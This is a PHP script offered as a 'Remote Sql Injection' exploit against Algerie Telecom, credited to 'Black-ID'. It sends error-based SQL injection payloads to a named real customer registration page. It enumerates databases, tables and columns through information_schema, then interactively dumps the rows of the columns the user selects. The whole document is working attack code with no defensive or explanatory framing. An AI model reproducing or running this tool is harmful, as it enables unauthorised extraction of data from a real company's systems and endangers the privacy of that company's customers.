Algerie Telecom <= Remote Sql Injection

<?php
print "\n+-------------------------------------------------------------------------+";
print "\n| Algerie Telecom <= Remote Sql Injection (error based sqli) By Black-ID  |";
print "\n+-------------------------------------------------------------------------+\n\n\n";
function Post($payload){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://ec.djaweb.dz/particuliers/?p=espace_client_inscription");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"user=dz0'$payload+--+&pass=-1&val=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, "/");
curl_setopt($ch, CURLOPT_COOKIEJAR, "/");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function Match($payload){
if(preg_match("/Duplicate entry '~'(.*)'~1' for/", Post($payload), $matches)){
return $matches[1];
}else{
return "NotFound";
}
}
function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function hexToStr($hex)
{
    $string='';
    for ($i=0; $i < strlen($hex)-1; $i+=2)
    {
        $string .= chr(hexdec($hex[$i].$hex[$i+1]));
    }
    return $string;
}

$payload = "+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,count(schema_name),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables GROUP BY x)a)";
$max = intval(Match($payload))-1;
for ($i = 0; $i <= $max; $i++) {
$payload2 = "+And(Select 1 FROM(Select count(*),concat((Select (Select (Select distinct concat(0x7e,0x27,cast(schema_name As char),0x27,0x7e) FROM information_schema.schemata LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) and 1=1";
$db[$i] = Match($payload2);
print "| ".$i." : ".$db[$i]."\n";
}
print "\n[*] Select Database : ";
$dtb=trim(fgets(STDIN));
if($dtb > $max ) {
print "[-] Database NotFound\n";
}else{
$mdb = "0x".strToHex($db[intval($dtb)]);
$payload3 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=".$mdb.")) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
$max = intval(Match($payload3))-1;
for ($i = 0; $i <= $max; $i++) {
$payload4 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables WHERE table_schema=".$mdb." LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
$table[$i] = Match($payload4);
print "| ".$i." : ".$table[$i]."\n";
}
print "\n[*] Select Table : ";
$ttb=trim(fgets(STDIN));
if($dtb > $max ) {
print "[-] Table NotFound\n";
}else{
$mtb = "0x".strToHex($table[intval($ttb)]);
$payload5 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=".$mdb." And table_name=".$mtb.")) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
$max = intval(Match($payload5))-1;
for ($i = 0; $i <= $max; $i++) {
$payload6 = "+and(select 1 FROM(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns WHERE table_schema=".$mdb." AND table_name=".$mtb." LIMIT ".strval($i).",1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)";
$column[$i] = Match($payload6);
print "| ".$i." : ".$column[$i]."\n";
}
print "\n[*] Select Column : ";
$clb=trim(fgets(STDIN));
$payload7 = " and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(".hexToStr(substr($mtb, 2)).".".$column[0]."),0x27,0x7e) FROM `".hexToStr(substr($mdb, 2))."`.".hexToStr(substr($mtb, 2))." LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1";

$max = intval(Match($payload7))-1;

for ($i = 0; $i <= $max; $i++) {
$aclm = explode ("-", $clb);
print "+------------------------------------------\n";
foreach ($aclm as $clm) {
$mcl = $column[intval($clm)];
$payload7 = " and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(".hexToStr(substr($mtb, 2)).".".$mcl." as char),0x27,0x7e) FROM `".hexToStr(substr($mdb, 2))."`.".hexToStr(substr($mtb, 2))." LIMIT ".strval($i).",1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1";
$value = Match($payload7);

print "|  ".$mcl." :".$value."\n";
}
}
}
}
?>